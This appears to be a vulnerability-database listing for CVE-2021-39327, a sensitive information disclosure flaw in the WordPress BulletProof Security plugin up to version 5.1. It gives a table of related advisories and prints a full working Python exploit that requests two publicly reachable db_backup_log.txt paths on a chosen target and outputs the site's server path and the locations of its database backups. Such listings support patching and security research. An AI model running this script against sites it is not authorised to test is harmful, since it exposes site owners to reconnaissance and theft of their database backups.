Lucene search
K

Wordpress BulletProof Security 5.1 Plugin - Sensitive Information Disclosure Vulnerability

🗓️ 06 Oct 2021 00:00:00Reported by Ron JostType 
zdt
 zdt
🔗 0day.today👁 242 Views

Wordpress BulletProof Security 5.1 Plugin Sensitive Information Disclosure Vulnerability. Exploits sensitive path disclosure in db_backup_log.txt affecting version 5.1.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2021-39327
29 Oct 202116:53
circl
CNNVD
WordPress 插件 信息泄露漏洞
17 Sep 202100:00
cnnvd
CVE
CVE-2021-39327
17 Sep 202110:26
cve
Cvelist
CVE-2021-39327 BulletProof Security <= 5.1 Sensitive Information Disclosure
17 Sep 202110:26
cvelist
Exploit DB
Wordpress Plugin BulletProof Security 5.1 - Sensitive Information Disclosure
6 Oct 202100:00
exploitdb
Metasploit
Wordpress BulletProof Security Backup Disclosure
29 Oct 202117:42
metasploit
Nuclei
WordPress BulletProof Security 5.1 Information Disclosure
29 May 202603:59
nuclei
NVD
CVE-2021-39327
17 Sep 202111:15
nvd
OSV
CVE-2021-39327
17 Sep 202111:15
osv
Packet Storm
WordPress BulletProof Security 5.1 Information Disclosure
6 Oct 202100:00
packetstorm
Rows per page
# Exploit Title: Wordpress Plugin BulletProof Security 5.1 - Sensitive Information Disclosure
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://forum.ait-pro.com/read-me-first/
# Software Link: https://downloads.wordpress.org/plugin/bulletproof-security.5.1.zip
# Version: <= 5.1
# Tested on: Ubuntu 18.04
# CVE: CVE-2021-39327
# CWE: CWE-200
# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-39327/README.md


'''
Description:
The BulletProof Security WordPress plugin is vulnerable to sensitive information disclosure due to a file path disclosure in the publicly accessible 
~/db_backup_log.txt file which grants attackers the full path of the site, in addition to the path of database backup files. 
This affects versions up to, and including, 5.1.
'''

'''
'Banner:
'''
banner = '''
  ______     _______     ____   ___ ____  _      _____ ___ _________ _____ 
 / ___\ \   / / ____|   |___ \ / _ \___ \/ |    |___ // _ \___ /___ \___  |
| |    \ \ / /|  _| _____ __) | | | |__) | |_____ |_ \ (_) ||_ \ __) | / / 
| |___  \ V / | |__|_____/ __/| |_| / __/| |_____|__) \__, |__) / __/ / /  
 \____|  \_/  |_____|   |_____|\___/_____|_|    |____/  /_/____/_____/_/   
                                                                           
                                * Sensitive information disclosure
                                @ Author: Ron Jost
'''
print(banner)


import argparse 
import requests

'''
User-Input:
'''
my_parser = argparse.ArgumentParser(description='Wordpress Plugin BulletProof Security - Sensitive information disclosure')
my_parser.add_argument('-T', '--IP', type=str)
my_parser.add_argument('-P', '--PORT', type=str)
my_parser.add_argument('-U', '--PATH', type=str)
args = my_parser.parse_args()
target_ip = args.IP
target_port = args.PORT
wp_path = args.PATH
print('')
print('[*] Starting Exploit:')
print('')

paths = ["/wp-content/bps-backup/logs/db_backup_log.txt",  "/wp-content/plugins/bulletproof-security/admin/htaccess/db_backup_log.txt"]

# Exploit
for pathadd in paths:
    x = requests.get("http://" + target_ip + ':' + target_port + '/' + wp_path + pathadd)
    print(x.text)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Oct 2021 00:00Current
5.7Medium risk
Vulners AI Score5.7
CVSS 25
CVSS 3.15.3
EPSS0.90941
SSVC
242